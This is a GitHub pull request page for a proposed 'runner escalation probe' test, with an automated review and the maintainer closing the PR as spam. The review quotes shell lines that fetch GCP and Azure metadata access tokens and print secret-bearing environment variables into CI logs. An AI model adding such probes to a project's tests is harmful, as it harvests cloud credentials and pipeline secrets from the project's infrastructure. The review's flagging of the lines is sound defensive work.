Skip to content

security: add runner escalation probe test#2060

Closed
KarimTantawey wants to merge 1 commit intoGoogleContainerTools:mainfrom
KarimTantawey:runner-escalation-probe
Closed

security: add runner escalation probe test#2060
KarimTantawey wants to merge 1 commit intoGoogleContainerTools:mainfrom
KarimTantawey:runner-escalation-probe

Conversation

@KarimTantawey
Copy link
Copy Markdown

Add a PR-executable probe test to collect persistence, metadata, ambient credential, and cache-context evidence from CI runners.

@google-cla
Copy link
Copy Markdown

google-cla Bot commented Apr 15, 2026

Thanks for your pull request! It looks like this may be your first contribution to a Google open source project. Before we can look at your pull request, you'll need to sign a Contributor License Agreement (CLA).

View this failed invocation of the CLA check for more information.

For the most up to date status, view the checks section at the bottom of the pull request.

Copy link
Copy Markdown
Contributor

@gemini-code-assist gemini-code-assist Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Code Review

This pull request introduces a security probe test suite designed to audit runner environments for persistence, metadata access, and credential exposure. The suite includes a shell script that probes various endpoints and environment variables, intentionally forcing a failure to ensure log visibility in CI. The review feedback identifies several critical security vulnerabilities where sensitive access tokens from GCP and Azure metadata endpoints, as well as full environment variable values, would be leaked into the build logs. Additionally, it is recommended to tag the Bazel test as 'manual' to prevent the intentional failure from disrupting standard CI pipelines.

Comment on lines +34 to +35
curl -sS -m 2 -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" || true
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Dumping the response from the GCP token endpoint directly to the logs will expose the access_token in the CI output. Since this test is designed to fail (forcing log visibility), this creates a critical security risk where credentials can be harvested from the build logs.

Suggested change
curl -sS -m 2 -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" || true
curl -sS -m 2 -o /dev/null -w "%{http_code}\n" -H "Metadata-Flavor: Google" \
"http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token" || true

Comment on lines +41 to +42
curl -sS -m 2 -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" || true
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Dumping the response from the Azure IMDS token endpoint will expose the access_token in the CI logs. This is a critical security vulnerability as it allows anyone with access to the logs to obtain a valid cloud identity token.

Suggested change
curl -sS -m 2 -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" || true
curl -sS -m 2 -o /dev/null -w "%{http_code}\n" -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" || true

echo "FOUND_CRED_PATH: $p"
fi
done
env | grep -E '^(ACTIONS_|GITHUB_|GOOGLE_|GCLOUD_|AWS_|AZURE_|DOCKER_|CRANE_|COSIGN_)' | sort || true
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

security-critical critical

Printing the full values of environment variables with these prefixes is extremely dangerous, as they often contain sensitive secrets like GITHUB_TOKEN, AWS_SECRET_ACCESS_KEY, or ACTIONS_RUNTIME_TOKEN. These values will be visible in the CI logs.

Suggested change
env | grep -E '^(ACTIONS_|GITHUB_|GOOGLE_|GCLOUD_|AWS_|AZURE_|DOCKER_|CRANE_|COSIGN_)' | sort || true
env | grep -E '^(ACTIONS_|GITHUB_|GOOGLE_|GCLOUD_|AWS_|AZURE_|DOCKER_|CRANE_|COSIGN_)' | cut -d= -f1 | sort || true

Comment thread security-probes/BUILD.bazel
Add a PR-executable probe test to collect persistence, metadata, ambient credential, and cache-context evidence from CI runners.
@loosebazooka
Copy link
Copy Markdown
Member

This is not a project for you to spam your security tests

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants